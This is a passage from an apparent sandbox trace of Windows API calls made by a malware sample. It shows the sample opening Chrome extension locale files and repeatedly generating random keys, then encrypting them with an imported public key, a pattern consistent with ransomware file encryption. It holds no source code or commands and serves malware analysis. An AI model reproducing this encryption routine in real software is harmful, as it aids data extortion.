Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.315] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.318] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.318] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.318] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.320] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.322] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.322] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.322] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.324] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adf38) returned 1 [0240.324] CryptGetKeyParam (in: hKey=0x66adf38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.324] CryptEncrypt (in: hKey=0x66adf38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa700000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa700000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.324] GetLastError () returned 0x0 [0240.324] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.324] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.326] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66ade38) returned 1 [0240.326] CryptGetKeyParam (in: hKey=0x66ade38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.326] CryptEncrypt (in: hKey=0x66ade38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa710000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa710000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.327] GetLastError () returned 0x0 [0240.327] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.327] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.328] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.330] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.332] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.332] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.332] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.334] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.336] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.336] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.336] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.338] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adb38) returned 1 [0240.338] CryptGetKeyParam (in: hKey=0x66adb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.338] CryptEncrypt (in: hKey=0x66adb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa720000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa720000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.338] GetLastError () returned 0x0 [0240.338] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.338] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.340] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adb78) returned 1 [0240.340] CryptGetKeyParam (in: hKey=0x66adb78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.340] CryptEncrypt (in: hKey=0x66adb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa730000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa730000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.340] GetLastError () returned 0x0 [0240.340] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.340] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.341] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.346] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.346] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.346] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.346] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.348] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.350] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.350] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.350] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.350] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0240.352] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adbb8) returned 1 [0240.352] CryptGetKeyParam (in: hKey=0x66adbb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.352] CryptEncrypt (in: hKey=0x66adbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa740000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa740000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.352] GetLastError () returned 0x0 [0240.352] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.352] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.354] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adbf8) returned 1 [0240.354] CryptGetKeyParam (in: hKey=0x66adbf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.354] CryptEncrypt (in: hKey=0x66adbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa750000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa750000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.354] GetLastError () returned 0x0 [0240.354] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.354] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.355] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.359] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.359] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.359] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.359] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.361] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.363] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.363] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.363] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.363] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.365] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adc38) returned 1 [0240.365] CryptGetKeyParam (in: hKey=0x66adc38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.365] CryptEncrypt (in: hKey=0x66adc38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa760000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa760000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.366] GetLastError () returned 0x0 [0240.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.366] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.367] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adc78) returned 1 [0240.367] CryptGetKeyParam (in: hKey=0x66adc78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.367] CryptEncrypt (in: hKey=0x66adc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa770000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa770000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.368] GetLastError () returned 0x0 [0240.368] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.368] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ne\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.368] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0240.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.372] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.372] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.372] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.373] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.378] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.378] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.378] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.380] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adeb8) returned 1 [0240.380] CryptGetKeyParam (in: hKey=0x66adeb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.380] CryptEncrypt (in: hKey=0x66adeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa780000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa780000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.380] GetLastError () returned 0x0 [0240.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.380] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.382] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adf78) returned 1 [0240.382] CryptGetKeyParam (in: hKey=0x66adf78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.382] CryptEncrypt (in: hKey=0x66adf78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa790000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa790000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.382] GetLastError () returned 0x0 [0240.382] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.382] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.384] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.388] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.388] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.392] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.392] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.392] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.392] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.394] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66add38) returned 1 [0240.394] CryptGetKeyParam (in: hKey=0x66add38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.394] CryptEncrypt (in: hKey=0x66add38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa7a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.394] GetLastError () returned 0x0 [0240.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.394] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0240.396] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adef8) returned 1 [0240.396] CryptGetKeyParam (in: hKey=0x66adef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.396] CryptEncrypt (in: hKey=0x66adef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa7b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.396] GetLastError () returned 0x0 [0240.396] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.396] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0240.397] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0240.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.401] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0240.401] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0240.401] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0240.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0240.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0240.406] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0240.406] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0240.406] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.408] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adcb8) returned 1 [0240.408] CryptGetKeyParam (in: hKey=0x66adcb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.408] CryptEncrypt (in: hKey=0x66adcb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xa7c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0240.408] GetLastError () returned 0x0 [0240.408] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.408] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0240.410] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66adcf8) returned 1 [0240.410] CryptGetKeyParam (in: hKey=0x66adcf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0240.410] CryptEncrypt (in: hKey=0x66adcf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xa7d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0240.410] GetLastError () returned 0x0 [0240.410] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0240.410] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 